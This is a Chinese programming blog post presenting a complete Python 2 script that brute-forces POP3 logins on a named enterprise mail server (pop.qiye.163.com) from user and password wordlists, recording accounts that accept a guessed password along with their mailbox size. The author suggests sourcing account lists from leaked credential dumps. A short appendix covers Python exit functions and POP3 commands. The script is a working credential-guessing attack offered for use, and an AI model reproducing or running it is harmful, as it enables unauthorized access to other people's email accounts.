python制作企业邮箱的爆破脚本


Posted in Python onOctober 05, 2016

按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本。

我先说下整体思路:

总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生结果。POP3协议并不复杂,它也是采用的一问一答式的方式,你向服务器发送一个命令,服务器必然会回复一个信息.

1.首先验证参数是否正确

    Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始

2.然后从用户密码文件中读取信息
3.pop.getwelcome()用来获取连接服务器的响应状态
4.然后就是脚本的核心代码部分

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5.最后输出出来相关的用户信息

脚本代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)

server = "pop.qiye.163.com"
success = []

try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)

try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass

def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)

print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

测试结果:

python制作企业邮箱的爆破脚本

说明:

用户字典文件需要@domain.com,类似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com这样的。由于我也没有企业邮箱的账号密码,也就没测试成功的,要是感兴趣,可以搜一下相关社工裤。

附:

python 中 os._exit(), sys.exit(), exit() 的区别是什么?

  1. sys.exit(n) 退出程序引发一个SystemExit异常, 可以捕获异常执行些清理工作. n默认值为0, 表示正常退出. 其他都是非正常退出. 没有捕获这个异常,会直接退出;捕获这个异常可以做一些额外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解释器,其后的代码都不执行, 不抛异常, 不执行相关清理工作. 常用在子进程的退出.
  3. exit() 跟 C 语言等其他语言的 exit() 应该是一样的

pop3收取邮件的过程一般是:

  • 连接pop3服务器 (poplib.POP3.__init__)
  • 发送用户名和密码进行验证 (poplib.POP3.user poplib.POP3.pass_)
  • 获取邮箱中信件信息 (poplib.POP3.stat)
  • 收取邮件 (poplib.POP3.retr)
  • 删除邮件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

命令 poplib方法 参数 状态 描述
-----------------------------------------------------------------------------------------------
USER user username 认可 用户名,此命令与下面的pass命令若成功,将导致状态转换
PASS pass_ password 认可 用户密码
APOP apop Name,Digest 认可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 处理 请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数
UIDL uidl [Msg#] 处理 返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
LIST list [Msg#] 处理 返回邮件数量和每个邮件的大小
RETR retr [Msg#] 处理 返回由参数标识的邮件的全部文本
DELE dele [Msg#] 处理 服务器将由参数标识的邮件标记为删除,由quit命令执行
RSET rset None 处理 服务器将重置所有标记为删除的邮件,用于撤消DELE命令
TOP top [Msg#] 处理 服务器将返回由参数标识的邮件前n行内容,n必须是正整数
NOOP noop None 处理 服务器返回一个肯定的响应

Python 相关文章推荐
Python获取Windows或Linux主机名称通用函数分享
Nov 22 Python
Python中的urllib模块使用详解
Jul 07 Python
在Ubuntu系统下安装使用Python的GUI工具wxPython
Feb 18 Python
在VS Code上搭建Python开发环境的方法
Apr 06 Python
python3的print()函数的用法图文讲解
Jul 16 Python
python 命令行传入参数实现解析
Aug 30 Python
python将时分秒转换成秒的实例
Dec 07 Python
python代码实现将列表中重复元素之间的内容全部滤除
May 22 Python
Python爬虫过程解析之多线程获取小米应用商店数据
Nov 14 Python
VSCode中autopep8无法运行问题解决方案(提示Error: Command failed,usage)
Mar 02 Python
Python使用psutil库对系统数据进行采集监控的方法
Aug 23 Python
python playwright之元素定位示例详解
Jul 23 Python
python爬取NUS-WIDE数据库图片
Oct 05 #Python
python2.7的编码问题与解决方法
Oct 04 #Python
Python Sqlite3以字典形式返回查询结果的实现方法
Oct 03 #Python
Python实现屏幕截图的代码及函数详解
Oct 01 #Python
Python爬取APP下载链接的实现方法
Sep 30 #Python
Python脚本实现12306火车票查询系统
Sep 30 #Python
Python ldap实现登录实例代码
Sep 30 #Python
You might like
smtp邮件发送一例
2006/10/09 PHP
php简单实现MVC
2015/02/05 PHP
PHP获取photoshop写入图片文字信息的方法
2015/03/31 PHP
php+ajax实现无刷新分页
2015/11/18 PHP
thinkPHP5.0框架引入Traits功能实例分析
2017/03/18 PHP
PHP实现使用DOM将XML数据存入数组的方法示例
2017/09/27 PHP
jQuery EasyUI API 中文文档 - Parser 解析器
2011/09/29 Javascript
JavaScript栏目列表隐藏/显示简单实现
2013/04/03 Javascript
JS HTML5 音乐天气播放器(Ajax获取天气信息)
2013/05/26 Javascript
JavaScript初学者建议:不要去管浏览器兼容
2014/02/04 Javascript
nodejs中使用monk访问mongodb
2014/07/06 NodeJs
JQuery的attr 与 val区别
2016/06/12 Javascript
JS+CSS3实现超炫的散列画廊特效
2016/07/16 Javascript
JS 拼凑字符串的简单实例
2016/09/02 Javascript
浅谈键盘上回车按钮的js触发事件
2017/02/13 Javascript
微信小程序手势操作之单触摸点与多触摸点
2017/03/10 Javascript
Vue使用json-server进行后端数据模拟功能
2018/04/17 Javascript
vue拖拽组件使用方法详解
2018/12/01 Javascript
Node.js在图片模板上生成二维码图片并附带底部文字说明实现详解
2019/08/07 Javascript
vue双向绑定数据限制长度的方法
2019/11/04 Javascript
[52:15]2014 DOTA2国际邀请赛中国区预选赛5.21 HGT VS LGD-GAMING
2014/05/23 DOTA
利用PyInstaller将python程序.py转为.exe的方法详解
2017/05/03 Python
Python字符串和字典相关操作的实例详解
2017/09/23 Python
Python向MySQL批量插数据的实例讲解
2018/03/31 Python
python 读取目录下csv文件并绘制曲线v111的方法
2018/07/06 Python
python 用opencv调用训练好的模型进行识别的方法
2018/12/07 Python
世界上最好的威士忌和烈性酒购买网站:The Whisky Exchange
2016/11/20 全球购物
size?荷兰官方网站:英国高级运动鞋精品店
2020/07/24 全球购物
大学毕业生工作的自我评价
2013/10/01 职场文书
查摆问题对照检查材料
2014/08/28 职场文书
勿忘国耻9.18演讲稿(经典篇)
2014/09/14 职场文书
党员个人对照检查材料思想汇报
2014/09/16 职场文书
学生违反校规检讨书
2014/10/28 职场文书
教师见习报告范文
2014/11/03 职场文书
营销经理工作检讨书
2014/11/03 职场文书
springboot+zookeeper实现分布式锁
2022/03/21 Java/Android